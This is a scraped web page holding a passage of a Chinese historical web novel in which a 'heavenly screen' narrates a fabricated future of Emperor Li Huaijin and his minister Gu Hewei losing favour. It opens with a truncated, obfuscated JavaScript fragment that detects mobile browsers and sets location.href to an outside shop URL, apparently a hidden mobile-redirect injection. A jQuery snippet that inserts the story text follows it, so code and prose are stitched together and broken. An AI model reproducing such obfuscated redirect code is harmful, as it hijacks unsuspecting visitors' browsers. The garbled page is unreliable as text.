l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434187|200920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属于顾何惟的,都被转赠给了别人。 无论是信任,还是爱意,亦或是权利。 都被转赠给了别人。】 天子的宠爱重要吗?必然重要。 无论前朝还是后宫,天子的宠爱都很重要。若天子是昏君,哪怕臣子没有能力,只拥有宠爱,也能身居高位。而天子是明君,那宠爱便只会锦上添花,落到有能力的臣子身上。 新帝去岁登基,今年方才改元。除顾何惟与薛缭外,李怀瑾还没有对其他臣子付诸信任。 他忽然有些好奇,在未来得到他信任,宠爱,与权利的都会是谁。 轻轻叹息,天子忽然想起天幕所说的风花雪月。 将那几个名姓在脑中过了一圈,李怀瑾缓缓眨了下眼。 【除了丞相之位,顾何惟竟然什么都没有了。 在失去李怀瑾宠爱的那一刻,他就成为了被李怀瑾舍弃在过去影子。 而当顾何惟意识到这一切时,一切都晚了。】 顾何惟一言不发,黝黑的眸如一潭死水,在眼眶中嵌着。 【在天子身边不争不抢,其实什么都得不到。 顾何惟曾经能得到,是因为李怀瑾偏宠他,喜爱他。而现在李怀瑾不再偏宠他,不再喜爱他,顾何惟自然也就什么都没有。哪怕后来,他意识到自己的错误,拼命想要跟上李怀瑾的步伐,想要重新回到李怀瑾的身边,但永远有人比他更争更抢。 顾何惟很努力,可是总有人不想努力。 顾何惟将李怀瑾视作不可玷污的珍宝,将龙床视作恩赐。 可总有人将李怀瑾视作捷径的终点,将爬龙床视作捷径的伊始。】 李怀瑾:“……” 李怀瑾失笑,尽力无视天幕的胡言乱语。 【独家讲坛不鼓励任何人放下底线,放下尊严。但文帝朝朝臣既然敢做,我们就要敢说,我们就要敢指责。】 众臣:“……” 是谁,您直接说出来行吗?不要再扫射所有朝臣了! 【你说是吧,霍悯之。】 霍悯之:“……?” 骤然被点名,霍悯之愣了愣,本能想要看向天幕。 而即便跪倒在地,听到名姓的一瞬间,众臣幽怨的目光也齐齐投向他。 霍悯之:“……” 如芒在背,霍悯之却笑了笑,才又垂下头颅。 【但这是顾何惟的篇章。哪怕身为典型被点名,霍悯之的事,我们也暂且不细说。】 【纵使对李怀瑾不一样,可顾何惟的本性难以改变。 他淡漠冷然,生性寡淡。即使意识到自己的错误,意识到自己不该为了堂堂正正的站在天子身边而退让,他也无法改变过去已经发生的事。 许多人都说,面对顾何惟的李怀瑾有些恃宠而骄,像被宠坏的孩子。可面对李怀瑾的顾何惟又何尝没有恃宠而骄呢?若不恃宠而骄,他怎么敢拒绝李怀瑾呢?】 天幕不是第一次胡言乱语,顾何惟也从未被天幕所言而左右思绪。他依旧冷静,冷静的意识到——这不是真实的未来。 顾何惟眼帘低垂。 真真假假,假假真真。 天幕所言必然有真实的部分,但此番只提及昭文故事,莫说昭史,连陛下的随笔都未得只言片语——已有些明白天幕讲述逻辑的顾何惟清楚,这只会是基于他被天子厌弃的未来而编撰出的传记故事。 他决不会如此做作,如此自矜。 如此可笑。